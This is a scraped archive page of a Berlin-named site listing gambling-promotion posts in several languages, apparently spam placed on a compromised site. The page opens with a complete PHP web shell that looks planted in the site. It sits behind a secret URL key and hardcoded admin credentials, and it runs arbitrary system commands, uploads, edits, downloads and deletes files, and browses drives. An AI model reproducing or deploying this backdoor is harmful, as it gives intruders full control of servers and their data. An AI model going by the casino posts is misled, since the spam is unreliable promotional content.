if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } public – Page 34 – collectives.berlin

Your digital paradise.

Category: public

  • Pinco казино: секреты успешной игры для опытных игроков

    В мире онлайн-казино существует множество возможностей для азартных игроков, которые стремятся максимизировать свои шансы на победу. Пинко казино – это платформа, которая предлагает не только широкий выбор игр, но и заманчивые бонусы, такие как Пинко вход , а также бесплатные вращения. В данной статье мы подробно рассмотрим, как правильно начать играть, на что обращать внимание…

    Click or not…

  • Online casino: mitä etsiä ennen ensimmäistä pelikertaa

    Online-kasinot ovat nousseet suosioon viime vuosina, ja niiden tarjoama viihde on houkutellut pelaajia ympäri maailmaa. Ennen kuin sukellat ensimmäiseen pelikertaasi, on tärkeää ymmärtää, mitä kriteerejä tulisi etsiä luotettavalta ja viihdyttävältä verkkokasinolta, kuten esimerkiksi osoitteesta https://casoola-casinos.fi/ löytyvistä vaihtoehdoista. Tässä oppaassa käymme läpi keskeisiä seikkoja, jotka auttavat sinua löytämään parhaat pelialustat ja varmistamaan hauskan ja turvallisen pelikokemuksen.…

    Click or not…

  • Pinco güvenliği: oyuncu verilerinizi korumanın yolları

    Online casinolar, kullanıcı deneyimini artırmak ve güvenliği sağlamak için çeşitli yöntemler geliştirmiştir. Bu makalede, casino oyunlarının dünyasına dair temel bilgileri keşfedecek ve oyuncu verilerini korumanın yollarını öğrenirken, hizli casino giris yaparak güvenli bir ortamda oyun oynamanın önemini göreceksiniz. Güvenlik, online oyunlarda çok önemlidir ve doğru güvenlik önlemleri almak, sorunsuz bir deneyim için şarttır. Casino Dünyasının…

    Click or not…

  • Pinco casino’da hızlı para yatırma yöntemleri

    Online casino deneyiminizi zenginleştirmek için doğru platformu seçmek oldukça önemlidir. Pinco Casino, Türkiye pazarında geniş bir oyun yelpazesi sunarak oyuncularına güvenli bir ortamda eğlenceli bir deneyim sağlamaktadır. Ayrıca, kullanıcıların hızlı para yatırma yöntemleri ile Pinco casino oyun keyfini anında yaşamaya başlaması mümkün olmaktadır. Bu yazıda, Pinco Casino’da para yatırma sürecine dair en iyi yöntemleri inceleyeceğiz.…

    Click or not…

  • Pinco casino: жаңы колдонуучулар үчүн баштоочу колдонмо жана сунуштар

    Пинко казино – Кыргызстандагы эң мыкты онлайн оюн шарттарын сунуш кылган платформа. Ал 5000ден ашык слоттор, коопсуз төлөм ыкмалары жана кардарларга тынчтык тартуулаган лицензиясы менен белгилүү. Жаңы колдонуучулар үчүн Pinco казино оюнуна катталуу, депозиттирди жасоо жана оюндарды баштоо боюнча кеңештер менен камсыз кыланат. Жаңы колдонуучулар Пинко казинодон эмне күтүшү керек Пинко казинонун жаңы колдонуучулары ар…

    Click or not…

  • Betcio resmi sitesi: güvenli erişim ve hızlı oyun deneyimi

    İnternet üzerinden casino oyunları oynamak isteyen birçok oyuncu, güvenli bir platform ve hızlı bir oyun deneyimi arayışındadır. Betcio, oyunculara sunduğu güvenilir altyapı ve çeşitli oyun seçenekleriyle bu ihtiyaçları karşılamaktadır. Bu yazıda, Betcio’nun özelliklerini, avantajlarını ve güvenliğini inceleyeceğiz, böylece oyuncular betcio sayesinde bilinçli kararlar alabilirler. Betcio kullanmadan önce oyuncuların bilmesi gerekenler Betcio, online casino dünyasında öne…

    Click or not…

  • Pinco bonusları 2026: yeni mükafatlar necə qazanılır?

    Kazino dünyası son illərdə sürətlə inkişaf edir, xüsusilə onlayn platformalar vasitəsilə. Bu yazıda, 2026-cı il üçün Pinco kazino bonuslarından və mükafatlardan necə faydalanacağınıza dair ətraflı məlumat təqdim edəcəyik, daha çox məlumat üçün pinco-az.cc saytına nəzər sala bilərsiniz. Onlayn kazino seçərkən nələrə diqqət etməli olduğunuzdan, mükafatları qazanmağın yollarına qədər ətraflı məlumat təqdim edəcəyik. Oynayacağınız kazinonun seçilməsində…

    Click or not…

  • Kasyna z Szybką Wypłatą 2026: odkryj najlepsze sloty i lokalne metody płatności

    Wirtualne kasyna zyskują coraz większą popularność w Polsce, a jednym z kluczowych czynników wpływających na wybór platformy jest szybkość wypłat. W 2026 roku, gracze oczekują nie tylko emocjonujących gier, ale również błyskawicznych transakcji, które pozwalają na szybkie cieszenie się wygranymi, zwłaszcza gdy korzystają z najlepsze wypłacalne kasyna oferujących atrakcyjne bonusy i różnorodne metody płatności. W…

    Click or not…

  • Pinco-da bonuslar: 2026-cı il üçün mükafatlar və təkliflər

    Onlayn kazinolar son illərdə əyləncə dünyasında inqilab edib. Oyunçular üçün müxtəlif təkliflər, bonuslar və oyun imkanları ilə dolu olan bu platformalar, hər kəsin diqqətini çəkir. 2026-cı ildə Pinco Casino, 6000-dən çox oyun seçimi, canlı dilerlər, 24/7 müştəri dəstəyi və cəlbedici bonuslar təqdim edir. Bu müasir platformalardan biri, Pinco ilə oyun təcrübəsini daha da zənginləşdirir və…

    Click or not…

  • Pin-Up casino: удобные способы вывода денег и их безопасность

    В современном мире онлайн-казино стали популярными развлечениями для миллионов людей. Игроки ищут удобные и надежные способы вывода денег, чтобы наслаждаться выигрышами и получать удовольствие от игр. Пин Ап Пин Ап казино предлагает своим клиентам широкий выбор методов для совершения финансовых операций, гарантируя при этом безопасность и защиту личных данных. В данной статье мы детально рассмотрим,…

    Click or not…